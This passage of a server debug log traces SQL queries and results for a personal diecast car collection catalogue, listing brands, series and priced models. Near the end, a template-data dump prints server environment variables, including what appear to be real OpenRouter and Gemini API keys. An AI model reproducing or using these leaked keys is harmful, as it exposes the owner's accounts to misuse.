    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-04-21T16:45:45.418Z server-connect:output restrict: undefined
2026-04-21T16:45:45.419Z server-connect:app Executing action step select
2026-04-21T16:45:45.419Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-04-21T16:45:45.419Z server-connect:output restrict: undefined
2026-04-21T16:45:45.419Z server-connect:app Executing action step select
2026-04-21T16:45:45.419Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-04-21T16:45:45.420Z server-connect:output restrict: undefined
2026-04-21T16:45:45.420Z server-connect:app Executing action step select
2026-04-21T16:45:45.420Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-04-21T16:45:45.421Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-04-21T16:45:45.422Z server-connect:output restrict: undefined
2026-04-21T16:45:45.422Z server-connect:app Executing action step select
2026-04-21T16:45:45.422Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-04-21T16:45:45.423Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-04-21T16:45:45.425Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-04-21T16:45:45.427Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-04-21T16:45:45.428Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-04-21T16:45:45.428Z server-connect:app Executing action step select
2026-04-21T16:45:45.428Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-04-21T16:45:45.430Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-04-21T16:45:45.430Z server-connect:app Executing action step select
2026-04-21T16:45:45.430Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-04-21T16:45:45.430Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-04-21T16:45:50.789Z server-connect:router Serving templateView /house-planner
2026-04-21T16:45:50.790Z server-connect:app Executing action step identify
2026-04-21T16:45:50.790Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:50.790Z server-connect:output identity: 1
2026-04-21T16:45:50.790Z server-connect:app Executing action step restrict
2026-04-21T16:45:50.790Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:45:50.791Z server-connect:output restrict: undefined
2026-04-21T16:45:50.791Z server-connect:router Render template house-planner
2026-04-21T16:45:50.791Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
